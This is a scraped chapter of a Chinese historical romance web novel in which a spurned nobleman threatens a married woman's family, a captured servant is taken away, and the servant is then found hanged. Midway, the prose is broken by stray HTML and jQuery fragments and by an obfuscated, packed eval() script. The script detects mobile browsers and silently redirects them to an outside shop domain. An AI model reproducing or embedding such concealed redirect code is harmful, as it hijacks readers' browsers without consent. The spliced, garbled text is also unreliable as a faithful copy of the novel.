赵元承睨视着她,勾起唇角笑了一声。他依旧朝她走去,口中不紧不慢说着:“这样倒也好。我这人记仇,但凡活着便会盯着你不死不休,你一日都别想好受。杀了我你便解脱了,省得我活着不依不饶,耽搁了你和你的好夫君恩爱。二金,动手吧。”
“你,你从前不是这样的……”
姜扶笙听他唤她“二金”,禁不住泪水长流。
她乳名“金金”,长辈和亲近的朋友都这样称呼她。
只有赵元承不好好唤她乳名,时时喊她“二金”。
而她,从小喜欢亮晶晶的东西,第一次见面便抓着赵元承腰间的玉玦不松手。
小时候她一直喊他“玉玦哥哥”,后来喊他“赵玉玦”……
赵元承迎着剑尖上前,从容不迫。
姜扶笙举着剑被他逼得节节后退。
“二金。”赵元承盯着她的眼睛:“你告诉我,我为什么变成了这样?”
姜扶笙无言以对,退到墙角后背紧贴着墙壁避无可避。
赵元承的胸膛已然抵在了剑尖上。
她吓得将剑往后缩了缩。
“不是要杀我么?”赵元承偏头看着她:“躲什么?”
“你,你别逼我……”
姜扶笙慌张失措,手中长剑颤抖得更厉害。
“来。”
赵元承又进一步。
姜扶笙忽然撤回长剑,架在了自己脖子上。她真的被他逼得无路可走了。
“你敢!”
赵元承瞳仁猛缩,厉喝了一声。
“姜扶笙,你若敢死,我便让人将你爹娘兄长全都关起来折磨,让他们生不如死!”
“不要。”
姜扶笙手里的长剑“铛”一声落在地上,她靠着墙软软地滑下去,抱着自己啜泣起来。
纤瘦的人儿缩成一团,缩在角落处,像寻不着娘亲失了依靠的小猫,叫人心生怜惜。
“哭什么?”赵元承居高临下望着她:“一切都是你自找的。”
姜扶笙只是哭着不说话。
赵元承望了她片刻转开目光:“陆怀川连你爹娘都救不回来,还跟着他做什么?和他和离。”
“我不和离。”
姜扶笙没有任何犹豫地摇摇头。
陆怀川待她何其好?且从未和她要过回报。她若离开陆怀川,天理难容。
“姜扶笙。”赵元承蹲下身,挑起她满是泪痕的脸:“你不是说你的夫君要从一而终吗?陆怀川都纳妾了。”
姜扶笙摇摇头:“那不过是年少时不懂事的戏言罢了。”
长大了自然明白,天底下哪有不纳妾的男子?
“你倒是深情,那就看着你爹娘兄长是什么下场吧。”
赵元承遽然松手,拂袖而去。
石青等在门口听着动静大气都不敢出一口。见自家主子出来连忙低头跟了上去。
姜姑娘也真是的,陆怀川有什么好?病歪歪地还纳妾,姜姑娘做什么非要跟着陆怀川?也不想想他家主子多好?她都抛弃过他家主子一次了,主子还抛下脸面来让她和离。她居然还不愿意。
他都生气了,更别说主子了!
姜扶笙定了定神,起身拢衣裳。上襦还在,可都叫赵元承划破了,宫绦也断成了两截,这还怎么穿?
“少夫人,奴婢进来了?”
外面,传来翡翠的声音。
姜扶笙抬头往外看。
翡翠托着一叠衣裙进来,瞧见姜扶笙凌乱的衣衫也是吃了一惊:“少夫人,您……”
虽然说当初少夫人背弃了小侯爷是做得不对,可少夫人也是迫不得已,小侯爷怎么能这么对少夫人呢?
再一个,小侯爷和少爷是表兄弟啊,他怎么能……
“不是你想得那样。”姜扶笙解释:“他恨我,是以这般羞辱我泄愤。”
翡翠叹了口气,将衣裳搁下上前替她更衣。
她总算知道为什么石青安排她一人进来,不让珊瑚跟着了。就珊瑚那爆竹似的性子,眼见少夫人受这样的委屈,不得气炸了?
翡翠手脚麻利,姜扶笙在她的帮助下很快换了一身衣裳,整理妥当她眼前一亮。
银珠色洒金裙色稍稍宽大了些,系上宫绦更显得人纤细。清新调柔和的色调是她家少夫人从前最喜欢的,衬得整个人肤光胜雪,更显稠丽乖恬。
想起来,少夫人已经很久不穿这样色调的衣裳了。嫁人之后总是穿着要比从前稳重些。
“回去别和少爷说。”
姜扶笙嘱咐了一句。
她怕陆怀川难过,也怕自己难堪。
“奴婢明白。”
翡翠自然懂。
姜扶笙瞧了瞧书案上的银票,迟疑了一下还是收了起来。
赵元承肯定不会将豆嬷嬷给她。这银子她还要留着办其他的事。
“走吧。”
她当先出了书房。
珊瑚正在院子门外,见她二人出来很是欢喜:“少夫人,您看!”
姜扶笙走近了一瞧,珊瑚手里牵着一根绳子,绳子的另一头系着五花大绑的豆嬷嬷。
她看着豆嬷嬷,眸底泛起迷茫之色。
赵元承这是将人给她了?
豆嬷嬷才挨了珊瑚一顿臭骂,此刻见了姜扶笙更是羞愧,连忙扭过身子去头偏向一侧不敢看姜扶笙。
“她怎么在你这儿?”
翡翠上前不由问了一句。
珊瑚眨了眨眼睛:“不是少夫人花大价钱从小侯爷那里买来的吗?”
姜扶笙手中攥着银票,没有过多迟疑便交给了翡翠:“放回去。”
赵元承的便宜她半点也不敢占。
“我们先走,你带好了她。”
姜扶笙吩咐了珊瑚一句,当先而行。
“少夫人,您不等珊瑚出来再一起走吗?”
珊瑚拉着豆嬷嬷跟上去询问。
“等会儿她走快一些,自然就追上我们了。”
姜扶笙没有回头,步伐反而更快,像后头有老虎在追赶似的。
这地方她哪里还敢久留?生怕出去晚了,再叫赵元承拦下来。陆怀川
院墙拐角处,赵元承负手而立,望着姜扶笙逃也似的越走越远。
石青和莫山二人立在他身后。
“主子,咱们费了那么大的劲儿找回来,您就这么让豆婆子跟着走了?”
石青看自家主子脸色似乎好看了些,胆子也大了,张口询问了一句。
赵元承偏头看了他一眼:“让她去,自然有让她去的道理。”
“有什么道理?”石青忍不住嘀咕道:“依着属下看,您就是心里还有姜姑娘……”
话说到这里,抬头见自家主子刀刃一般锋利的目光扫过来,心里实在瘆得慌,遂捂着嘴不敢再说。
“你胡言什么?”莫山素来一本正经:“主子让豆婆子跟着去,是为了试探陆怀川的反应。”
“哦。”石青心虚地看了一眼赵元承。
陆怀川其人绝不像表面看起来那么简单,他们所遇到的许多事情都有可能和陆怀川有关系。
这件事主子倒是提过,他方才没想起来,反而一心在看主子的热闹上了。
“再这样,便别在上京待着了,去边关历练历练。”
赵元承负手前行。
“属下不敢了。”石青跟在后头认错。
*
“把人带上来,我有话问她。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852913|134596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
姜扶笙上了马车吩咐。
“少夫人,奴婢赶马车,让翡翠和您一起在里面审问她吧。”
珊瑚不放心,怕豆嬷嬷对姜扶笙不利,提议让翡翠也进马车里。
“好。”
姜扶笙应了。
珊瑚和翡翠正合力扶着被捆得死死的豆嬷嬷上马车,便听一阵急促的马蹄声。
“扶笙?”
陆怀川的声音传过来。
姜扶笙撩开窗口的纱帘探出脑袋,看到陆怀川正下马车。
姜扶笙招呼道:“夫君,你来了。”
她悄悄拍了拍心口。幸好她出来得早,若是让陆怀川进去得知这宅子是赵元承的,只怕又是一番事端。
“陆大人,陆大人救命……”
豆嬷嬷瞧见陆怀川,顿时高声叫唤起来。
陆怀川扫了豆嬷嬷一眼,皱眉道:“聒噪。宁安,堵了她的嘴放马车上去。”
“夫君。”姜扶笙阻止道:“让她在我马车上吧,我有话要问她。”
她急着想问豆嬷嬷当初那一笔官银是怎么进到库房里的。
陆怀川摇头:“她什么身份?如何能与你共乘?人已然找到了,不急这一时,回去再慢慢问。”
他说着上了马车。
姜扶笙听他说得也有道理,便默许了。
陆怀川在马车上坐定,朝外面招呼了一声。
马车行驶起来。
他看着姜扶笙有些奇怪地问:“扶笙,这身衣裳哪里来的?”
许久不见她穿这般鲜亮的颜色,不禁让他想起她从前生机勃勃的模样。
姜扶笙心里一慌,低头看了一眼,小声道:“前几日在成衣铺瞧着好看便买了。”
“这颜色适合你。”陆怀川伸手理了理她衣襟:“衬得你气色也好,往后多穿些鲜嫩的颜色。”
姜扶笙心里愧疚得要死,一时说不出话来。
马车一前一后驶入陆家大门。
陆怀川扶着姜扶笙下了马车,吩咐道:“宁安,你们将人带到柴房去关起来。不要让任何人见她。”
姜扶笙拉着他袖子:“夫君,我们现在不过去吗?”
“眼下到了午饭时辰。”陆怀川牵住她手道:“你先随我回院子去,用过午饭了再慢慢审她。”
他示意宁安将人带走。
“我不饿。”姜扶笙还是执意要跟过去。
“扶笙。”陆怀川拉住了她,肃着脸道:“你看看你这些日子瘦成什么样了?外头不知道的,还当我苛待了你呢。先随我去用饭。”
姜扶笙挣脱不得,也不好拂了他的好意,只好依着他。想着又朝宁安高声道:“给她弄些饭吃。”
豆嬷嬷此时对他而言至关重要,可不能出纰漏。
宁安几人远远应了。
姜扶笙随着陆怀川进了清荷院,才吩咐人去厨房取午饭,陆大夫人跟前的菊香便来了。
“大夫人请少夫人过去。”
菊香低着头说话。
姜扶笙蹙眉看向陆怀川。
瞧菊香的神情也知道没有什么好事。她这会儿只想早些审问豆嬷嬷,不想和陆大夫人过多纠缠,反而耽搁她的时辰。
“别怕,我陪你去。”
陆怀川却牵过她的手宽慰她。
姜扶笙正要说话,便听菊香道:“大夫人吩咐了,只叫少夫人一人过去。”
“你不必管,我自会和娘说。”陆怀川牵着姜扶笙往外走。
“夫君,我们能不能先去柴房?我想……”
姜扶笙转头和陆怀川商量。
陆怀川尚未来得及回答,便见一个小厮急匆匆而来:“少爷,方才您让带到柴房关着的那老妇悬梁自尽了!”